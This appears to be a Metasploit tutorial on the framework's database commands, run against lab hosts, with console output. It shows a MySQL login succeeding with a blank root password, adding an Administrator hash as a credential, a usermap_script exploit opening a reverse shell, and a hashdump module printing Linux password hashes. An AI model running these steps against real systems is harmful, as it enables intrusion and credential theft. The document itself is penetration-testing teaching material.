Scan a host directly from the console using the db_nmap command.
Scan results will be saved in our current database.
msf>db_nmap-A172.16.194.134[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2012-06-18 12:36 EDT[*] Nmap: Nmap scan report for172.16.194.134[*] Nmap: Host is up (0.00031slatency).[*] Nmap: Not shown: 994 closed ports[*] Nmap: PORT STATE SERVICE VERSION[*] Nmap: 80/tcp open http Apache httpd 2.2.17 ((Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4...snip...[*] Nmap: HOP RTT ADDRESS[*] Nmap: 1 0.31 ms 172.16.194.134[*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .[*] Nmap: Nmap done: 1 IP address (1hostup) scanned in 14.91 secondsmsf>hostsHosts=====addressmacnameos_nameos_flavoros_sppurposeinfocomments------------------------------------------------------172.16.194.13400:0C:29:68:51:BBMicrosoftWindowsXPserver172.16.194.17200:0C:29:D1:62:80LinuxUbuntuservermsf>
DB_EXPORT
Using the db_export command all our gathered information can be saved in a XML file.
2 output formats
xml will export all of the information currently stored in our active workspace.
pwdump exports everything related to used/gathered credentials.
msf>db_export-hUsage:db_export-f [-a] [filename]Formatcanbeoneof:xml,pwdump[-] No output file was specifiedmsf>db_export-fxml/root/msfu/Exported.xml[*] Starting export of workspace msfu to /root/msfu/Exported.xml [ xml ]...[*] >> Starting export of report[*] >> Starting export of hosts[*] >> Starting export of events[*] >> Starting export of services[*] >> Starting export of credentials[*] >> Starting export of web sites[*] >> Starting export of web pages[*] >> Starting export of web forms[*] >> Starting export of web vulns[*] >> Finished export of report[*] Finished export of workspace msfu to /root/msfu/Exported.xml [ xml ]...
Hosts
Use the hosts command to view a list of hosts that the database contains.
To save our query results into a file, run the hosts command followed by the -o with path and filename.
The file format is a comma separated value (CSV).
msf>hosts-SLinux-o/root/msfu/linux.csv[*] Wrote hosts to /root/msfu/linux.csvmsf>cat/root/msfu/linux.csv[*] exec: cat /root/msfu/linux.csvaddress,mac,name,os_name,os_flavor,os_sp,purpose,info,comments"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server","",""
Services
Use the services command to view a list of services that the database contains.
To save our query results into a file, run the services command followed by the -o with path and filename.
The file format is a comma separated value (CSV).
msf>services-shttp-cport172.16.194.134-o/root/msfu/http.csv[*] Wrote services to /root/msfu/http.csvmsf>cat/root/msfu/http.csv[*] exec: cat /root/msfu/http.csvhost,port"172.16.194.134","80""172.16.194.134","443"
Credentials
The creds command is used to manage found and used credentials for targets in our database.
When trying credentials successfully, Metasploit saves them automatically in our database for future reference.
Running the creds command without any options will display currently saved credentials.
msfauxiliary(mysql_login) >run[*] 172.16.194.172:3306 MYSQL - Found remote MySQL version 5.0.51a[*] 172.16.194.172:3306 MYSQL - [1/2] - Trying username:'root' with password:''[*] 172.16.194.172:3306 - SUCCESSFUL LOGIN 'root':''[*] Scanned 1 of 1 hosts (100%complete)[*] Auxiliary module execution completedmsfauxiliary(mysql_login) >credsCredentials===========hostportuserpasstypeactive?---------------------------172.16.194.1723306rootpasswordtrue[*] Found 1 credential.
Adding a Credential (-a)
During post-exploitation of a host, gathering user credentials is an important activity in order to further penetrate a target network.
We can add them to our database with the creds -a command.
msf > creds -a 172.16.194.134 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
[*] Time: 2012-06-20 20:31:42 UTC Credential: host=172.16.194.134 port=445 proto=tcp sname= type=password user=Administrator pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: active=true
msf>credsCredentials===========host port user pass type active?
---- ---- ---- ---- ---- -------
172.16.194.134 445 Administrator 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: password true
[*] Found 1 credential.
Hashdump
Once having compromised a system, the objective may be to retrieve hash dumps.
The hashdump post module will dump the contents of the SAM (Security Account Manager) database, where user and group account information stored. This module only works when you are root or have root permisions.
Use the loot command to view a list of hash dumps that the database contains.
msf>loot-hUsage:lootInfo:loot [-h] [addr1 addr2 ...] [-t <type1,type2>]Add:loot-f [fname] -i [info] -a [addr1 addr2 ...] [-t [type] Del: loot -d [addr1 addr2 ...]-a,--add Add loot to the list of addresses, instead of listing-d,--delete Delete *all* loot matching host and type-f,--file File with contents of the loot to add -i,--info Info of the loot to add-t<type1,type2> Search for a list of types-h,--help Show this help information-S,--search Search string to filter by
msfexploit(usermap_script) >exploit[*] Started reverse double handler[*] Accepted the first client connection...[*] Accepted the second client connection...[*] Command: echo 4uGPYOrars5OojdL;[*] WritingtosocketA[*] Writing to socket B[*] Reading from sockets...[*] Reading from socket B[*] B: "4uGPYOrars5OojdL\r\n"[*] Matching...[*] A is input...[*] Command shell session 1 opened (172.16.194.163:4444 ->172.16.194.172:55138) at 2012-06-27 19:38:54 -0400^ZBackgroundsession1? [y/N] ymsfexploit(usermap_script) >usepost/linux/gather/hashdumpmsfpost(hashdump) >showoptionsModuleoptions (post/linux/gather/hashdump):NameCurrentSettingRequiredDescription--------------------------------------SESSION1yesThesessiontorunthismoduleon.msfpost(hashdump) >sessions-lActivesessions===============IdTypeInformationConnection---------------------------1shellunix172.16.194.163:4444 ->172.16.194.172:55138 (172.16.194.172)msfpost(hashdump) >run[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash[+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt[*] Post module execution completedmsfpost(hashdump) >lootLoot====hostservicetypenamecontentinfopath----------------------------------172.16.194.172 linux.hashes unshadowed_passwd.pwd text/plain Linux Unshadowed Password File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
172.16.194.172 linux.passwd passwd.tx text/plain Linux Passwd File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644.txt
172.16.194.172 linux.shadow shadow.tx text/plain Linux Password Shadow File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948.txt